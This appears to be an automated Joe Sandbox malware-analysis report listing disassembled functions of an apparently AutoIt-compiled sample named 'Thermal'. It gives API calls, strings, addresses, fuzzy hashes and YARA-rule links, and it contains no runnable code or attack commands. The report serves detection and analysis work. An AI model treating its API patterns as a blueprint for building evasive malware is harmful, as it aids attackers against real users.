Download Yara Rule

APIs

GetSysColor.USER32(00000008), ref: 0012260D
SetTextColor.GDI32(?,000000FF), ref: 00122617
SetBkMode.GDI32(?,00000001), ref: 0012262C
GetStockObject.GDI32(00000005), ref: 00122634
GetWindowDC.USER32(?,00000000), ref: 0015C1C4
GetPixel.GDI32(00000000,00000000,00000000), ref: 0015C1D1
GetPixel.GDI32(00000000,?,00000000), ref: 0015C1EA
GetPixel.GDI32(00000000,00000000,?), ref: 0015C203
GetPixel.GDI32(00000000,?,?), ref: 0015C223
ReleaseDC.USER32(?,00000000), ref: 0015C22E

Memory Dump Source

Source File: 0000000C.00000002.2555457650.0000000000121000.00000020.00000001.01000000.00000008.sdmp, Offset: 00120000, based on PE: true

Associated: 0000000C.00000002.2555347509.0000000000120000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001B0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001D6000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555616779.00000000001E0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555663668.00000000001E9000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_120000_Thermal.jbxd

Similarity

API ID: Pixel$Color$ModeObjectReleaseStockTextWindow
String ID:
API String ID: 1946975507-0
Opcode ID: 048a3cce1ac6a973bab3559b2338d193831f1a8c01c3dd8aaaa0a0809c2240cd
Instruction ID: 54464c529f7ddefe9a6b5c582bdedaedd9257de2ca3ef8b6ed1803fd6c0ad57f
Opcode Fuzzy Hash: 048a3cce1ac6a973bab3559b2338d193831f1a8c01c3dd8aaaa0a0809c2240cd
Instruction Fuzzy Hash: 7FE06D32504244FFDB265FA8BC49BE93B21EB09332F048366FE79584E1877189D4DB11

Function 00179330 Relevance: 6.0, APIs: 4, Instructions: 23threadCOMMON

Download Yara Rule

APIs

GetCurrentThread.KERNEL32 ref: 00179339
OpenThreadToken.ADVAPI32(00000000,?,?,?,00178F04), ref: 00179340
GetCurrentProcess.KERNEL32(00000028,?,?,?,?,00178F04), ref: 0017934D
OpenProcessToken.ADVAPI32(00000000,?,?,?,00178F04), ref: 00179354

Memory Dump Source

Source File: 0000000C.00000002.2555457650.0000000000121000.00000020.00000001.01000000.00000008.sdmp, Offset: 00120000, based on PE: true

Associated: 0000000C.00000002.2555347509.0000000000120000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001B0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001D6000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555616779.00000000001E0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555663668.00000000001E9000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_120000_Thermal.jbxd

Similarity

API ID: CurrentOpenProcessThreadToken
String ID:
API String ID: 3974789173-0
Opcode ID: 2ff88512a6aa99c1cfd35ba910ad792066b74e5903ad5422374f5f2681f61510
Instruction ID: c5ee0b9613db3650f2d1d2c2400f3f1770fc18757da8fa7e5c00d2520fe214d5
Opcode Fuzzy Hash: 2ff88512a6aa99c1cfd35ba910ad792066b74e5903ad5422374f5f2681f61510
Instruction Fuzzy Hash: C6E086326012119FD7612FB15D0DB573BBCFF587D1F108818B245C9090E7349488C750

Function 00160679 Relevance: 6.0, APIs: 4, Instructions: 20COMMON

Download Yara Rule

APIs

GetDesktopWindow.USER32 ref: 00160679
GetDC.USER32(00000000), ref: 00160683
GetDeviceCaps.GDI32(00000000,0000000C), ref: 001606A3
ReleaseDC.USER32(?), ref: 001606C4

Memory Dump Source

Source File: 0000000C.00000002.2555457650.0000000000121000.00000020.00000001.01000000.00000008.sdmp, Offset: 00120000, based on PE: true

Associated: 0000000C.00000002.2555347509.0000000000120000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001B0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001D6000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555616779.00000000001E0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555663668.00000000001E9000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_120000_Thermal.jbxd

Similarity

API ID: CapsDesktopDeviceReleaseWindow
String ID:
API String ID: 2889604237-0
Opcode ID: 10b5d0cc103edd24887e6af15bdf97093092d54e4cf89d66f5fbdd5ef4031c38
Instruction ID: dc65ff7e3460f62aef1b4f732eab985842d797ce1ef80db2064ad6f1854bec4f
Opcode Fuzzy Hash: 10b5d0cc103edd24887e6af15bdf97093092d54e4cf89d66f5fbdd5ef4031c38
Instruction Fuzzy Hash: 0DE01A71800204EFCB029FB0D808AAE7BF1EB9C350F128105FC5AA7650DB3885A19F50

Function 0016068D Relevance: 6.0, APIs: 4, Instructions: 19COMMON

Download Yara Rule

APIs

GetDesktopWindow.USER32 ref: 0016068D
GetDC.USER32(00000000), ref: 00160697
GetDeviceCaps.GDI32(00000000,0000000C), ref: 001606A3
ReleaseDC.USER32(?), ref: 001606C4

Memory Dump Source

Source File: 0000000C.00000002.2555457650.0000000000121000.00000020.00000001.01000000.00000008.sdmp, Offset: 00120000, based on PE: true

Associated: 0000000C.00000002.2555347509.0000000000120000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001B0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001D6000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555616779.00000000001E0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555663668.00000000001E9000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_120000_Thermal.jbxd

Similarity

API ID: CapsDesktopDeviceReleaseWindow
String ID:
API String ID: 2889604237-0
Opcode ID: 784ee0a43d86aa7273ea8dde54537f7021d9888455565ed23af0273c05190bd8
Instruction ID: 0acc46130db9aa96258df9a73c0147ed1c85d1d90f3f4b327c2f478b3c9faa64
Opcode Fuzzy Hash: 784ee0a43d86aa7273ea8dde54537f7021d9888455565ed23af0273c05190bd8
Instruction Fuzzy Hash: 4BE01A71800204AFCB129FB0D80865E7BF1AB9C350F118104FD59A7650DB3895918F50

Function 0018B5EF Relevance: 5.5, APIs: 2, Strings: 1, Instructions: 201shareCOMMON

Download Yara Rule

APIs

Part of subcall function 0013436A: _wcscpy.LIBCMT ref: 0013438D

Part of subcall function 00124D37: __itow.LIBCMT ref: 00124D62
Part of subcall function 00124D37: __swprintf.LIBCMT ref: 00124DAC

__wcsnicmp.LIBCMT ref: 0018B670
WNetUseConnectionW.MPR(00000000,?,?,00000000,?,?,00000100,?), ref: 0018B739

Strings

LPT, xrefs: 0018B66A

Memory Dump Source

Source File: 0000000C.00000002.2555457650.0000000000121000.00000020.00000001.01000000.00000008.sdmp, Offset: 00120000, based on PE: true

Associated: 0000000C.00000002.2555347509.0000000000120000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001B0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001D6000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555616779.00000000001E0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555663668.00000000001E9000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_120000_Thermal.jbxd

Similarity

API ID: Connection__itow__swprintf__wcsnicmp_wcscpy
String ID: LPT
API String ID: 3222508074-1350329615
Opcode ID: 984be775e493f4584feaa5051ca0f1d68b66e56a65b243f187fa53844c091850
Instruction ID: 0f57a432f1f9334905bd12b1b565f6365432fc3e011742e6d40545179605d1fa
Opcode Fuzzy Hash: 984be775e493f4584feaa5051ca0f1d68b66e56a65b243f187fa53844c091850
Instruction Fuzzy Hash: D5617F75A04219AFCB18EF94C8D1EAEB7B4EF58710F118059F506AB391DB30AE80CF90

Function 0012E00D Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 144sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32(00000000), ref: 0012E01E
GlobalMemoryStatusEx.KERNEL32(?), ref: 0012E037

Strings

@, xrefs: 0012E02B

Memory Dump Source

Source File: 0000000C.00000002.2555457650.0000000000121000.00000020.00000001.01000000.00000008.sdmp, Offset: 00120000, based on PE: true

Associated: 0000000C.00000002.2555347509.0000000000120000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001B0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001D6000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555616779.00000000001E0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555663668.00000000001E9000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_120000_Thermal.jbxd

Similarity

API ID: GlobalMemorySleepStatus
String ID: @
API String ID: 2783356886-2766056989
Opcode ID: 43d787803ea7c17a2c9781305d74a1de0c57d056fd63947da667f2786981e387
Instruction ID: f2e89e25136425c27546567246b015c078ac5457b80ad11c481d494e873f5a5d
Opcode Fuzzy Hash: 43d787803ea7c17a2c9781305d74a1de0c57d056fd63947da667f2786981e387
Instruction Fuzzy Hash: CC5138714087589BE320AF50E886BABBBE8FB94314F91494DF2D8411A1DB709979CB17

Function 001A8096 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 97windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(00000027,00001132,00000000,?), ref: 001A8186
SendMessageW.USER32(?,00001105,00000000,00000000), ref: 001A819B

Strings

', xrefs: 001A80EF

Memory Dump Source

Source File: 0000000C.00000002.2555457650.0000000000121000.00000020.00000001.01000000.00000008.sdmp, Offset: 00120000, based on PE: true

Associated: 0000000C.00000002.2555347509.0000000000120000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001B0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001D6000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555616779.00000000001E0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555663668.00000000001E9000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_120000_Thermal.jbxd

Similarity

API ID: MessageSend
String ID: '
API String ID: 3850602802-1997036262
Opcode ID: 430ac5b6afe1d21bbf4c0011760b11ccd2b960fbb1dc2e98f92361347d555f96
Instruction ID: d165a801f85f967281264c44dc519d2c9a7e5f16ba8b7167d4344cbecfa8cdba
Opcode Fuzzy Hash: 430ac5b6afe1d21bbf4c0011760b11ccd2b960fbb1dc2e98f92361347d555f96
Instruction Fuzzy Hash: 05411978A013099FDB14CF64D981BDABBF5FB09300F10016AE905EB391DB71A956CFA0

Function 00192C5A Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 97networkCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00192C6A
InternetCrackUrlW.WININET(?,00000000,00000000,0000007C), ref: 00192CA0

Strings

|, xrefs: 00192C71

Memory Dump Source

Source File: 0000000C.00000002.2555457650.0000000000121000.00000020.00000001.01000000.00000008.sdmp, Offset: 00120000, based on PE: true

Associated: 0000000C.00000002.2555347509.0000000000120000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001B0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001D6000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555616779.00000000001E0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555663668.00000000001E9000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_120000_Thermal.jbxd

Similarity

API ID: CrackInternet_memset
String ID: |
API String ID: 1413715105-2343686810
Opcode ID: e31f977c07e7928e96f79ec74ab3ad21985873d7d62b13fecd756233104ef2ab
Instruction ID: a90b57e40aa98745033c4850c115bf29a429e480074bf365c24d288f32d4ff28
Opcode Fuzzy Hash: e31f977c07e7928e96f79ec74ab3ad21985873d7d62b13fecd756233104ef2ab
Instruction Fuzzy Hash: 47310871C00219BBCF15EFA1CC85AEEBFB9FF19310F104059F815A6262EB315A56DBA0

Function 001A7088 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 95COMMON

Download Yara Rule

APIs

DestroyWindow.USER32(?,?,?,?), ref: 001A713C
MoveWindow.USER32(?,?,?,?,?,00000001,?,?,?), ref: 001A7178

Strings

static, xrefs: 001A70D8

Memory Dump Source

Source File: 0000000C.00000002.2555457650.0000000000121000.00000020.00000001.01000000.00000008.sdmp, Offset: 00120000, based on PE: true

Associated: 0000000C.00000002.2555347509.0000000000120000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001B0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001D6000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555616779.00000000001E0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555663668.00000000001E9000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_120000_Thermal.jbxd

Similarity

API ID: Window$DestroyMove
String ID: static
API String ID: 2139405536-2160076837
Opcode ID: a5d3f0df81af7a4513024ea8a4685c05259d87596aae197a8feafc61b133f396
Instruction ID: 0dd4a448769d9df08b6d2429fd98a6be7ad5818aa97ae471230438b2d61f01d0
Opcode Fuzzy Hash: a5d3f0df81af7a4513024ea8a4685c05259d87596aae197a8feafc61b133f396
Instruction Fuzzy Hash: 0731BC75200604AEEB11DF78DC80EFB77A9FF89720F109619F9A987191DB31AD91CB60

Function 00183049 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 88windowCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 001830B8
GetMenuItemInfoW.USER32(?,?,00000000,00000030), ref: 001830F3

Strings

0, xrefs: 001830B1

Memory Dump Source

Source File: 0000000C.00000002.2555457650.0000000000121000.00000020.00000001.01000000.00000008.sdmp, Offset: 00120000, based on PE: true

Associated: 0000000C.00000002.2555347509.0000000000120000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001B0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001D6000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555616779.00000000001E0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555663668.00000000001E9000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_120000_Thermal.jbxd

Similarity

API ID: InfoItemMenu_memset
String ID: 0
API String ID: 2223754486-4108050209
Opcode ID: 4f3e4f1401bf856ff0e5fcb75821b860d0a9ecd7e876d2b3944cc7809e9deda1
Instruction ID: ac55e2ec730683f2f6443807ad5a8a7e09f88b281dd56632d802104f2826c111
Opcode Fuzzy Hash: 4f3e4f1401bf856ff0e5fcb75821b860d0a9ecd7e876d2b3944cc7809e9deda1
Instruction Fuzzy Hash: 7A31E631600205ABEB24EF58C889FAEBBBAEF05F50F1C4019E9A5A71A1D7709B44CF50

Function 001940B5 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 84COMMON

Download Yara Rule

APIs

__snwprintf.LIBCMT ref: 00194132

Part of subcall function 00131A36: _memmove.LIBCMT ref: 00131A77

Strings

AUTOITCALLVARIABLE%d, xrefs: 00194124
, $, xrefs: 00194172

Memory Dump Source

Source File: 0000000C.00000002.2555457650.0000000000121000.00000020.00000001.01000000.00000008.sdmp, Offset: 00120000, based on PE: true

Associated: 0000000C.00000002.2555347509.0000000000120000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001B0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001D6000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555616779.00000000001E0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555663668.00000000001E9000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_120000_Thermal.jbxd

Similarity

API ID: __snwprintf_memmove
String ID: , $$AUTOITCALLVARIABLE%d
API String ID: 3506404897-2584243854
Opcode ID: e58097dd2300c4a27884d395f45224b7a1f027a01f04f8dab10efcec819a58c3
Instruction ID: b9d58a4a4b7d14c6c495af325475a63a4a022238ee933023a0f72ecb349820b2
Opcode Fuzzy Hash: e58097dd2300c4a27884d395f45224b7a1f027a01f04f8dab10efcec819a58c3
Instruction Fuzzy Hash: 4721A271A0021CABCF15EFA4C891EEE77B5EF64744F404465F905A7281DB30EA46DBA1

Function 001A6CF9 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 72windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(00000000,00000143,00000000,?), ref: 001A6D86
SendMessageW.USER32(?,0000014E,00000000,00000000), ref: 001A6D91

Strings

Combobox, xrefs: 001A6D53

Memory Dump Source

Source File: 0000000C.00000002.2555457650.0000000000121000.00000020.00000001.01000000.00000008.sdmp, Offset: 00120000, based on PE: true

Associated: 0000000C.00000002.2555347509.0000000000120000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001B0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001D6000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555616779.00000000001E0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555663668.00000000001E9000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_120000_Thermal.jbxd

Similarity

API ID: MessageSend
String ID: Combobox
API String ID: 3850602802-2096851135
Opcode ID: 32083737472ac20236bcc926c5f83d8f2bb9a3fc721bc12e639421b8818838b8
Instruction ID: 65ec08c7d6c44e58ba7fac45f1af5076d707167c2bffb46bdf106e8cf4db1129
Opcode Fuzzy Hash: 32083737472ac20236bcc926c5f83d8f2bb9a3fc721bc12e639421b8818838b8
Instruction Fuzzy Hash: 1911C475310208BFEF118F94DC81EFB3B6BEB993A4F154129F9549B290D7319C5087A0

Function 001A722C Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 68COMMON

Download Yara Rule

APIs

Part of subcall function 00122111: CreateWindowExW.USER32(?,?,?,?,?,?,?,?,?,?,00000000,00000096), ref: 0012214F
Part of subcall function 00122111: GetStockObject.GDI32(00000011), ref: 00122163
Part of subcall function 00122111: SendMessageW.USER32(00000000,00000030,00000000), ref: 0012216D

GetWindowRect.USER32(00000000,?), ref: 001A7296
GetSysColor.USER32(00000012), ref: 001A72B0

Strings

static, xrefs: 001A7273

Memory Dump Source

Source File: 0000000C.00000002.2555457650.0000000000121000.00000020.00000001.01000000.00000008.sdmp, Offset: 00120000, based on PE: true

Associated: 0000000C.00000002.2555347509.0000000000120000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001B0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001D6000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555616779.00000000001E0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555663668.00000000001E9000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_120000_Thermal.jbxd

Similarity

API ID: Window$ColorCreateMessageObjectRectSendStock
String ID: static
API String ID: 1983116058-2160076837
Opcode ID: 28ef939c105f48884a2ae6e38d8a7990a5b3ae0184478124a39e773241c6a709
Instruction ID: e4433c04ae3043ab639a4ccd5a56dcd3162d687ede0fee7443cb08ccbd257fed
Opcode Fuzzy Hash: 28ef939c105f48884a2ae6e38d8a7990a5b3ae0184478124a39e773241c6a709
Instruction Fuzzy Hash: 0321597661420AAFDB05DFB8CC45EFA7BA8EB49314F004619FD55D3290E734E8A0DB50

Function 001A6F45 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 64windowCOMMON

Download Yara Rule

APIs

GetWindowTextLengthW.USER32(00000000), ref: 001A6FC7
SendMessageW.USER32(?,000000B1,00000000,00000000), ref: 001A6FD6

Strings

edit, xrefs: 001A6FAB

Memory Dump Source

Source File: 0000000C.00000002.2555457650.0000000000121000.00000020.00000001.01000000.00000008.sdmp, Offset: 00120000, based on PE: true

Associated: 0000000C.00000002.2555347509.0000000000120000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001B0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001D6000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555616779.00000000001E0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555663668.00000000001E9000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_120000_Thermal.jbxd

Similarity

API ID: LengthMessageSendTextWindow
String ID: edit
API String ID: 2978978980-2167791130
Opcode ID: 280f28f984d852003125ab5418f79cab5158f059da4e277b094fc31c8d973428
Instruction ID: 22a032729fb2ffb65217ff381bad3af4f71ae0e01084a614de055c0e647983b2
Opcode Fuzzy Hash: 280f28f984d852003125ab5418f79cab5158f059da4e277b094fc31c8d973428
Instruction Fuzzy Hash: EC116A79500208AFEB119E74ECA4EFB3B6AEB06368F144714FA64D71E0C735DC909B60

Function 00183156 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 63windowCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 001831C9
GetMenuItemInfoW.USER32(00000030,?,00000000,00000030), ref: 001831E8

Strings

0, xrefs: 001831BF

Memory Dump Source

Source File: 0000000C.00000002.2555457650.0000000000121000.00000020.00000001.01000000.00000008.sdmp, Offset: 00120000, based on PE: true

Associated: 0000000C.00000002.2555347509.0000000000120000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001B0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001D6000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555616779.00000000001E0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555663668.00000000001E9000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_120000_Thermal.jbxd

Similarity

API ID: InfoItemMenu_memset
String ID: 0
API String ID: 2223754486-4108050209
Opcode ID: a6de7446acb1b18a0fcb4d0c436d333b4f1d4fcb1b5be98f62864b383a7329db
Instruction ID: e13c3952ffdbd2b4a840837d3b24d9214ebf269746d050cde802b91fc9590a8f
Opcode Fuzzy Hash: a6de7446acb1b18a0fcb4d0c436d333b4f1d4fcb1b5be98f62864b383a7329db
Instruction Fuzzy Hash: 3711E231901114ABEB24FA98DC49BADB7B9AB15F10F1D0125E825A72A0DB70AF06CF91

Function 001928A2 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 62networkCOMMON

Download Yara Rule

APIs

InternetOpenW.WININET(?,00000000,00000000,00000000,00000000), ref: 001928F8
InternetSetOptionW.WININET(00000000,00000032,?,00000008), ref: 00192921

Strings

<local>, xrefs: 001928E9

Memory Dump Source

Source File: 0000000C.00000002.2555457650.0000000000121000.00000020.00000001.01000000.00000008.sdmp, Offset: 00120000, based on PE: true

Associated: 0000000C.00000002.2555347509.0000000000120000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001B0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001D6000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555616779.00000000001E0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555663668.00000000001E9000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_120000_Thermal.jbxd

Similarity

API ID: Internet$OpenOption
String ID: <local>
API String ID: 942729171-4266983199
Opcode ID: ed205861d918ae2f73187fdc50353c5cd429096528faf0c76304124a48ba34ad
Instruction ID: 4bdd426952425d3bde4fa20adf2e6ebe406309fd9a98475f72a6b670ae16c672
Opcode Fuzzy Hash: ed205861d918ae2f73187fdc50353c5cd429096528faf0c76304124a48ba34ad
Instruction Fuzzy Hash: 6911C270501325BAEF298F518C89EFBFBACFF06755F10822AF54556100E7706994D6F0

Function 00198475 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 55networkCOMMON

Download Yara Rule

APIs

Part of subcall function 001986E0: WideCharToMultiByte.KERNEL32(00000000,00000000,?,?,00000000,00000000,00000000,00000000,?,?,?,0019849D,?,00000000,?,?), ref: 001986F7

inet_addr.WSOCK32(00000000,?,00000000,?,?,?,00000000), ref: 001984A0
htons.WSOCK32(00000000,?,00000000), ref: 001984DD

Strings

255.255.255.255, xrefs: 001984B8

Memory Dump Source

Source File: 0000000C.00000002.2555457650.0000000000121000.00000020.00000001.01000000.00000008.sdmp, Offset: 00120000, based on PE: true

Associated: 0000000C.00000002.2555347509.0000000000120000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001B0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001D6000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555616779.00000000001E0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555663668.00000000001E9000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_120000_Thermal.jbxd

Similarity

API ID: ByteCharMultiWidehtonsinet_addr
String ID: 255.255.255.255
API String ID: 2496851823-2422070025
Opcode ID: 1f31b57e542fe4e3e519d158d335f234f5db8bfb5879c751e9b9416922d408a4
Instruction ID: 155669998d6b6d694db668a9913897442799437cf63281474e8dd51f2fe75225
Opcode Fuzzy Hash: 1f31b57e542fe4e3e519d158d335f234f5db8bfb5879c751e9b9416922d408a4
Instruction Fuzzy Hash: F011A17560420AABDF14AF64CC46FEEB768FF15320F10861AF915972D2DB71B810C795

Function 001799BD Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 52windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00131A36: _memmove.LIBCMT ref: 00131A77

Part of subcall function 0017B79A: GetClassNameW.USER32(?,?,000000FF), ref: 0017B7BD

SendMessageW.USER32(?,000001A2,000000FF,?), ref: 00179A2B

Strings

ComboBox, xrefs: 001799CA
ListBox, xrefs: 001799F5

Memory Dump Source

Source File: 0000000C.00000002.2555457650.0000000000121000.00000020.00000001.01000000.00000008.sdmp, Offset: 00120000, based on PE: true

Associated: 0000000C.00000002.2555347509.0000000000120000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001B0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001D6000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555616779.00000000001E0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555663668.00000000001E9000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_120000_Thermal.jbxd

Similarity

API ID: ClassMessageNameSend_memmove
String ID: ComboBox$ListBox
API String ID: 372448540-1403004172
Opcode ID: ecf4ce5eedd00f13e4d3bca489b44bb569a5410b0bea345eabc7a444b9deb32e
Instruction ID: d303fdb6f4f3cfee9cde54a1f547fd9a6c444523f92f89299329415abc10af23
Opcode Fuzzy Hash: ecf4ce5eedd00f13e4d3bca489b44bb569a5410b0bea345eabc7a444b9deb32e
Instruction Fuzzy Hash: CA01B571A42224BBCF18EBA4CC51DFE7779AF66320F104719F865573D1DB3059089650

Function 0018934C Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 51COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 00189367
__fread_nolock.LIBCMT ref: 0018937C

Strings

EA06, xrefs: 001893AE

Memory Dump Source

Source File: 0000000C.00000002.2555457650.0000000000121000.00000020.00000001.01000000.00000008.sdmp, Offset: 00120000, based on PE: true

Associated: 0000000C.00000002.2555347509.0000000000120000.00000002.00000001.01000000.00000008.sdmpDownload File
